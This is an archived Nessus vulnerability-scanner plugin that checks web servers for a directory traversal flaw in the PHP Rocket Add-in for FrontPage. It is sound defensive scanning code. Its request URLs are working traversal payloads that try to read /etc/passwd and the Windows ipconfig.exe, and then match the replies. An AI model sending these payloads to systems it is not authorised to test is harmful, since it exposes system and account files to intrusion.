home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / phprocketaddin_traversal.nasl < prev    next >
Encoding:
Text File  |  2005-03-31  |  3.0 KB  |  118 lines
  1.  
  2.  
  3. #
  4. # This script was written by Drew Hintz ( http://guh.nu ) and Valeska Pederson
  5. # 
  6. # It is based on scripts written by Renaud Deraison and  HD Moore
  7. #
  8. # See the Nessus Scripts License for details
  9. #
  10.  
  11. if(description)
  12. {
  13.  script_id(10831); 
  14.  script_bugtraq_id(3751);
  15.  script_cve_id("CAN-2001-1204");
  16.  script_version("$Revision: 1.10 $");
  17.  name["english"] = "PHP Rocket Add-in File Traversal";
  18.  script_name(english:name["english"]);
  19.  
  20.  desc["english"] = "
  21. There is a vulnerability in the PHP Rocket Add-in for FrontPage 
  22. that allows a remote attacker to view the contents of any arbitrary 
  23. file to which the web user has access.  This vulnerability exists 
  24. because the PHP Rocket Add-in does not filter out ../ and is therefore 
  25. susceptible to this directory traversal attack.
  26.  
  27. More Information: http://www.securityfocus.com/bid/3751
  28.  
  29. Risk factor : High";
  30.  
  31.  script_description(english:desc["english"]);
  32.  
  33.  summary["english"] = "Looks for a directory traversal vulnerability in the PHP Rocket Add-in for FrontPage.";
  34.  
  35.  script_summary(english:summary["english"]);
  36.  script_category(ACT_GATHER_INFO);
  37.  script_copyright(english:"This script is Copyright (C) 2001 H D Moore & Drew Hintz ( http://guh.nu )");
  38.  family["english"] = "CGI abuses";
  39.  script_family(english:family["english"]);
  40.  script_dependencie("find_service.nes", "http_version.nasl");
  41.  script_require_ports("Services/www", 80);
  42.  exit(0);
  43. }
  44.  
  45.  
  46. include("http_func.inc");
  47.  
  48. port = get_http_port(default:80);
  49.  
  50. if(!get_port_state(port))exit(0);
  51. if(!can_host_php(port:port))exit(0);
  52. if(http_is_dead(port:port))exit(0);
  53.  
  54.  
  55. #check for vulnerable version running on *nix
  56.  
  57. function check(req)
  58. {
  59.  soc = http_open_socket(port);
  60.  if(soc)
  61.  {
  62.  req = http_get(item:req, port:port);
  63.  send(socket:soc, data:req);
  64.  r = http_recv(socket:soc);
  65.  
  66.  http_close_socket(soc);
  67.  pat = "root:"; #string returned by webserver if it's vulnerable
  68.  if(pat >< r) {
  69.    if(egrep(pattern:".*root:.*:0:[01]:.*", string:r)) {
  70.            security_hole(port:port);
  71.         exit(0);
  72.    } #end final if pattern match
  73.   } #ends outer if pattern match
  74.  } #ends outer if(soc)
  75.  return(0);
  76. } #ends function
  77.  
  78. url = string("/phprocketaddin/?page=../../../../../../../../../../../../../../../etc/passwd");
  79. if(check(req:url))exit(0);
  80.  
  81. url = string("/index.php?page=../../../../../../../../../../../../../../../etc/passwd");
  82. if(check(req:url))exit(0);
  83.  
  84.  
  85. #check for vulnerable version running on Windows
  86.  
  87.  
  88. function checkwin(req)
  89. {
  90.  soc = http_open_socket(port);
  91.  if(soc)
  92.  {
  93.  req = http_get(item:req, port:port);
  94.  send(socket:soc, data:req);
  95.  r = http_recv(socket:soc);
  96.  
  97.  http_close_socket(soc);
  98.  pat = "IP Configuration"; #string returned by webserver if it's vulnerable
  99.  
  100.  if(pat >< r) {
  101.        security_hole(port:port);
  102.     return(1);
  103.      }
  104.  }
  105.  return(0);
  106. }
  107.  
  108. url = string("/phprocketaddin/?page=../../../../../../../../../../../../../../../WINNT/system32/ipconfig.exe");
  109. if(checkwin(req:url))exit(0);
  110.  
  111. url = string("/index.php?page=../../../../../../../../../../../../../../../../../WINNT/system32/ipconfig.exe");
  112. if(checkwin(req:url))exit(0);
  113.  
  114.  
  115.  
  116.  
  117.  
  118.